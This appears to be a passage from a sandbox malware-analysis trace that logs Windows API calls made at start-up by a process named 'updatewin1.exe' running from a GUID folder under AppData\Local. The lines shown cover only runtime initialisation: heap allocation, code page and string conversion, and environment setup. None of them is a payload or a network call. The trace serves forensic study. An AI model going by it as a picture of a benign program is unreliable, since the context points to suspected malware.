returned 0x0 [0051.961] GetLastError () returned 0x57 [0051.961] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0051.961] GetLastError () returned 0x57 [0051.961] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0051.961] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0051.961] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x364) returned 0x32a9e8 [0051.961] SetLastError (dwErrCode=0x57) [0051.961] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xc00) returned 0x32ad58 [0051.963] GetStartupInfoW (in: lpStartupInfo=0x18f510 | out: lpStartupInfo=0x18f510*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff\\updatewin1.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x4033b0, hStdOutput=0x43ce2333, hStdError=0xfffffffe)) [0051.963] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0051.963] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0051.963] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0051.963] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff\\updatewin1.exe\" " [0051.963] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff\\updatewin1.exe\" " [0051.963] GetACP () returned 0x4e4 [0051.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x220) returned 0x329ea8 [0051.963] IsValidCodePage (CodePage=0x4e4) returned 1 [0051.963] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f530 | out: lpCPInfo=0x18f530) returned 1 [0051.963] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18edf8 | out: lpCPInfo=0x18edf8) returned 1 [0051.963] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0051.963] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x18eb98, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0051.963] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18ee0c | out: lpCharType=0x18ee0c) returned 1 [0051.963] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0051.963] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x18eb48, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ굧@Ā") returned 256 [0051.963] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0051.963] GetLastError () returned 0x57 [0051.963] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringEx") returned 0x76cb47f1 [0051.963] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ굧@Ā", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0051.963] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ굧@Ā", cchSrc=256, lpDestStr=0x18e938, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0051.963] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchWideChar=256, lpMultiByteStr=0x18f30c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xeb\x86\x97\x43\x48\xf5\x18", lpUsedDefaultChar=0x0) returned 256 [0051.963] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0051.963] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x18eb68, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0051.963] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0051.963] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18e958, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ") returned 256 [0051.964] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ", cchWideChar=256, lpMultiByteStr=0x18f20c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xeb\x86\x97\x43\x48\xf5\x18", lpUsedDefaultChar=0x0) returned 256 [0051.964] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x32a0d0 [0051.964] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x416cb8, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff\\updatewin1.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\5f157674-79c2-4ded-9dab-75219d8fb8ff\\updatewin1.exe")) returned 0x5f [0051.964] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xc8) returned 0x32c160 [0051.964] RtlInitializeSListHead (in: ListHead=0x416bd8 | out: ListHead=0x416bd8) [0051.964] GetLastError () returned 0x0 [0051.964] SetLastError (dwErrCode=0x0) [0051.964] GetEnvironmentStringsW () returned 0x32c230* [0051.964] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xaca) returned 0x32cd08 [0051.964] FreeEnvironmentStringsW (penv=0x32c230) returned 1 [0051.964] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x98) returned 0x32c230 [0051.964] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x3e) returned 0x32d7f8 [0051.964] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x6c) returned 0x32c2d0 [0051.964] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x6e) returned 0x32c348 [0051.964] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x78) returned 0x311180 [0051.964] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x62) returned 0x32c3c0 [0051.964] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x2e) returned 0x3152d0 [0051.964] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x48) returned 0x32c430 [0051.964] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x28) returned 0x32a158 [0051.964] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x1a) returned 0x32bd10 [0051.964] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4a) returned 0x32c480 [0051.964] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x72) returned 0x311200 [0051.964] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x30) returned 0x315308 [0051.964] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x2e) returned 0x315340 [0051.964] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x1c) returned 0x32bd38 [0051.964] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xd2) returned 0x32c4d8 [0051.964] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x7c) returned 0x32c5b8 [0051.964] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x36) returned 0x32c640 [0051.964] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x3a) returned 0x32d840 [0051.964] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x90) returned 0x32c680 [0051.964] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x24) returned 0x32c718 [0051.964] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x30) returned 0x315378 [0051.964] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x36) returned 0x32c748 [0051.965] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x48) returned 0x32c788 [0051.965] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x52) returned 0x32c7d8 [0051.965] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x3c) returned 0x32d888 [0051.965] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x82) returned 0x32c838 [0051.965] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x2e) returned 0x3153b0 [0051.965] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x1e) returned 0x32bd60 [0051.965] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x2c) returned 0x3153e8 [0051.965] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x54) returned 0x32c8c8 [0051.965] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x52) returned 0x32c928 [0051.965] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x2a) returned 0x315420 [0051.965] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x3c) returned 0x32d8d0 [0051.965] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x54) returned 0x32c988 [0051.965] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x24) returned 0x32c9e8 [0051.965] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x30) returned 0x315458 [0051.965] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8c) returned 0x32ca18 [0051.965] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x32cd08 | out: hHeap=0x300000) returned 1 [0051.965] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x800) returned 0x32cab0 [0051.965] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 